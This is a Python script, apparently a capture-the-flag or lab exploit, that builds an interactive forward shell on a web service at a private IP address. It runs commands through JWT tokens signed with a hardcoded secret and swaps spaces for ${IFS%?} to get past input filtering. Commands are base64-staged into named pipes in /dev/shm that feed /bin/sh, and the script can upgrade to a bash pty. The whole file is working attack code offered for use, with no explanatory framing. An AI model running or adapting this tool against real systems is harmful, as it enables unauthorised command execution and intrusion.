import base64
import random
import requests
import threading
import time
import jwt
import readline
import sys

class WebShell(object):
    # Initialize Class + Setup Shell, also configure proxy for easy history/debugging with burp
    def __init__(self, interval=5):
        self.url = r"http://172.16.1.22:3000/"
        session = random.randrange(10000,99999)
        print(f"[*] Session ID: {session}")
        self.stdin = f'/dev/shm/input.{session}'
        self.stdout = f'/dev/shm/output.{session}'
        self.interval = interval
        self.stop_thread = threading.Event()

        # Increase timeout and add retry mechanism
        try:
            # set up shell
            print("[*] Setting up fifo shell on target")
            MakeNamedPipes = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh | tee {self.stdout}"
            self.RunRawCmd(MakeNamedPipes, timeout=5)

            # set up read thread
            print("[*] Setting up read thread")
            thread = threading.Thread(target=self.ReadThread, args=())
            thread.daemon = True
            thread.start()
        except Exception as e:
            print(f"Initialization error: {e}")
            sys.exit(1)

    # Read $session, output text to screen & wipe session
    def ReadThread(self):
        GetOutput = f"/bin/cat {self.stdout}"
        while not self.stop_thread.is_set():
            try:
                result = self.RunRawCmd(GetOutput)
                if result:
                    print(result)
                    ClearOutput = f'/bin/echo -n "" | tee {self.stdout}'
                    self.RunRawCmd(ClearOutput)
                time.sleep(self.interval)
            except Exception as e:
                print(f"Read thread error: {e}")
                break

    # Execute Command
    def RunRawCmd(self, cmd, timeout=10, proxy="http://127.0.0.1:8080"):
        try:
            # Modify command to handle spaces
            cmd = cmd.replace(" ","${IFS%?}")

            # Use a consistent key and JWT encoding
            secret_key = 'PSmu3dR2wMZQvNge'
            encoded_jwt = jwt.encode({'cmd': cmd}, secret_key, algorithm='HS256')

            # Ensure payload is a string
            payload = "Bearer " + (encoded_jwt if isinstance(encoded_jwt, str) else encoded_jwt.decode('utf-8'))

            headers = {'Authorization': payload}

            # Increase timeout and add connection parameters
            r = requests.get(
                self.url, 
                headers=headers, 
                timeout=timeout,
                verify=False,  # Disable SSL verification if needed
                allow_redirects=True
            )
            return r.text
        except requests.exceptions.RequestException as e:
            print(f"Connection error: {e}")
            return None

    # Send b64'd command to RunRawCommand
    def WriteCmd(self, cmd):
        try:
            b64cmd = base64.b64encode('{}\n'.format(cmd.rstrip()).encode('utf8')).decode('utf-8')
            stage_cmd = f'/bin/echo {b64cmd} | base64 -d | tee {self.stdin}'
            self.RunRawCmd(stage_cmd)
            time.sleep(self.interval * 1.1)
        except Exception as e:
            print(f"Write command error: {e}")

    def UpgradeShell(self):
        # upgrade shell
        UpgradeShell = """python3 -c 'import pty; pty.spawn("/bin/bash")'"""
        self.WriteCmd(UpgradeShell)

    def cleanup(self):
        # Ensure that the thread is stopped
        self.stop_thread.set()

def main():
    prompt = "User > "
    S = WebShell()

    try:
        while True:
            try:
                cmd = input(prompt)
                if cmd == "upgrade":
                    prompt = ""
                    S.UpgradeShell()
                else:
                    S.WriteCmd(cmd)
            except KeyboardInterrupt:
                print("\nInterrupted. Use Ctrl+C again to exit.")
                S.cleanup()  # Ensure cleanup happens on interruption
                sys.exit(0)  # Exit the program
    except KeyboardInterrupt:
        print("\nExiting...")
        S.cleanup()  # Stop the background thread
        sys.exit(0)

if __name__ == "__main__":
    main()